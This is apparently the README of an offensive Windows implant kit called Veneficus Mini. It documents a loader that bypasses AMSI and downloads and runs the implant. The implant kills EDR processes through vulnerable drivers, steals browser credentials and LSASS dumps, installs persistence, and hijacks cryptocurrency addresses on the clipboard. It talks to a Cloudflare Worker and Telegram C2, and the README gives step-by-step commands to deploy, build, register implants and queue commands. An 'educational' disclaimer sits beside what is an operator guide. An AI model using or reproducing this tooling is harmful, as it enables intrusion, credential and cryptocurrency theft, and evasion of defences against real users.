Veneficus Mini v3.0

Windows 10/11 x64 植入工具包：一个 PowerShell 加载器、一个 Rust PE，以及一个通过 Telegram 呼叫操作员的 Cloudflare Worker。

加载器（resources/loader.ps1）旨在静默当前 PowerShell 进程中的 AMSI，从 Worker 的 /beacon 路由拉取植入体，并将其作为 %TEMP%\MicrosoftEdgeUpdate.exe 启动。随后 PE 会对主机进行沙箱/分析人员痕迹评分。高分则擦除二进制文件；中等分数进入“安全模式”（仅指纹识别）；低分则运行完整功能栈——AMSI/ETW 补丁、针对指定 EDR 进程的 BYOVD 池、浏览器凭据窃取、LSASS 转储链、WMI/计划任务/注册表持久化、本地 SOCKS5 代理、本地 HVNC/RFB 监听器，以及针对加密货币地址的剪贴板劫持器。一个带抖动的 HTTPS 循环进行信标通信并轮询一小组命令（/status、/proxy_on、/self_destruct、/re_infect、/sleep、安全模式切换）。外传数据使用 AES-256-GCM 加 HMAC，密钥来自编译时嵌入的 UUID；Worker 应在不持有密钥的情况下转发密文。

本仓库发布用于教育与分析。关于已实现与存根部分的逐文件解读见 VENEFICUS_MINI_v3_DEEP_ANALYSIS.md。

仅供教育目的。2026 保留所有反向权利。

架构

VICTIM MACHINE
  loader.ps1 (AMSI/ETW bypass → download → execute)
    └── veneficus_mini.exe
          ├── Environment assessment (sandbox/VM/analyst detection)
          ├── Stealth: syscall bypass chain, lacuna stack-spoof, DKOM, AMSI/ETW patch
          ├── BYOVD: kill EDR processes (K7RKScan, ThrottleStop, BdApi, TrueSight, wsftprm, RTCore64)
          ├── Payload: creds, cookies, LSASS dump, device fingerprint
          ├── Persistence: WMI / Scheduled Task / Registry (three-way fallback)
          ├── SOCKS5 proxy (127.0.0.1:1080 by default, configurable)
          ├── HVNC (127.0.0.1:5900 by default, configurable)
          ├── Clipper: crypto address hijacking (BTC, ETH, LTC, XMR, DOGE, SOL, XRP, BNB, USDT)
          └── C2 loop: AES-GCM encrypted poll every 10 ± 3s (safe mode: 60 ± 18s)
                ↕ HTTPS
CLOUDFLARE WORKER
  /beacon   → implant download
  /exfil    → receive encrypted data → forward ciphertext to Telegram
  /commands → return queued commands (one-time queue)
  /config   → return operator config blob
  /admin    → queue commands  (requires X-Admin-Key)
  /register → register UUID   (requires X-Admin-Key)
  /unregister → revoke UUID   (requires X-Admin-Key)
  /listing  → list all UUIDs (requires X-Admin-Key)
  /set_config → push config  (requires X-Admin-Key)
                ↓
TELEGRAM BOT
  Receives: ciphertext + nonce + HMAC (operator decrypts offline)

前置条件

组件	安装方法
Rust + cargo	`curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs \| sh`
Windows 交叉编译目标	`rustup target add x86_64-pc-windows-gnu`
MinGW 交叉链接器	`sudo apt install mingw-w64`
Wrangler（CF Worker CLI）	`npm install -g wrangler`

设置

1. Cloudflare Worker

wrangler login
wrangler init veneficus-relay
# Replace worker.js with cloudflare/worker.js

wrangler secret put TELEGRAM_TOKEN     # from @BotFather
wrangler secret put TELEGRAM_CHAT_ID   # your chat/group ID
wrangler secret put ADMIN_KEY          # random 32-char secret

wrangler kv:namespace create "UUID_KV"
wrangler kv:namespace create "COMMANDS_KV"
wrangler kv:namespace create "CONFIG_KV"

# Add KV bindings to wrangler.toml:
#   [[kv_namespaces]]
#   binding = "UUID_KV"
#   id = "<uuid_kv_id>"
#   (repeat for COMMANDS_KV, CONFIG_KV)

wrangler deploy

2. 生成中继 URL

import base64
url = b"https://your-worker.workers.dev"
key = 0xAF
enc = bytes([b ^ key for b in url])
print(base64.b64encode(enc).decode())   # → set as RELAY_URL_BYTES

3. 构建

RELAY_URL_BYTES="<output_above>" \
BYOVD_DRIVER_DIR="./drivers" \
TOOLS_DIR="./tools" \
cargo build --release --target x86_64-pc-windows-gnu

构建前将存在漏洞的驱动 .sys 文件放入 drivers/，将工具二进制文件放入 tools/。

4. 注册植入体 UUID

从二进制文件中读取 UUID（构建时嵌入）：

strings target/x86_64-pc-windows-gnu/release/veneficus_mini.exe | grep -E "[0-9a-f]{8}-[0-9a-f]{4}"

通过管理 API 注册：

curl -X POST https://your-worker.workers.dev/register \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{"implant_uuid":"<uuid>","note":"op_blackbird_host01"}'

5. 推送操作员配置（剪贴板劫持地址等）

curl -X POST https://your-worker.workers.dev/set_config \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "implant_uuid": "global",
    "config": {
      "clipper_addresses": {
        "bitcoin":  "bc1qyourwallethere",
        "ethereum": "0xYOURWALLETHERE"
      },
      "reinfect_url": "https://your-worker.workers.dev/beacon"
    }
  }'

C2 命令

通过 /admin 端点发送：

curl -X POST https://your-worker.workers.dev/admin \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{"implant_uuid":"<uuid>","command":"/status"}'

命令	效果
`/self_destruct`	3 遍擦除 + 清除事件日志 + 退出
`/re_infect`	从配置中的 `reinfect_url` 下载新载荷，替换自身
`/status`	将 PID、代理状态、安全模式、UUID 发送回 C2
`/proxy_on`	启用 SOCKS5 代理
`/proxy_off`	禁用 SOCKS5 代理
`/exit_safe`	退出安全模式，恢复完整操作
`/enter_safe`	进入安全模式（仅指纹识别）
`/sleep <secs>`	覆盖基础 C2 轮询间隔

回退链

模块	链（左侧 = 首先尝试）
BYOVD	K7RKScan → BdApiUtil64 → TrueSight → ThrottleStop → STProcessMonitor → wsftprm → RTCore64 → capcom → disable blocklist
LSASS	MiniDumpWriteDump (native) → WDigest patch → LSA Whisperer → DumpGuard → PPL bypass (RTCore64)
NTLM	PrinterBug → PetitPotam → cross-protocol relay (HTTP→LDAP) → CVE-2025-33073 → MSSQL relay
Syscalls	Tartarus Gate → Halo's Gate → ntdll unhook → indirect → standard WinAPI
DKOM	EPROCESS unlink → PspChained enumeration → EDR callback unregister
Persistence	WMI subscription → Scheduled Task → HKLM Run key

最受欢迎

veneficus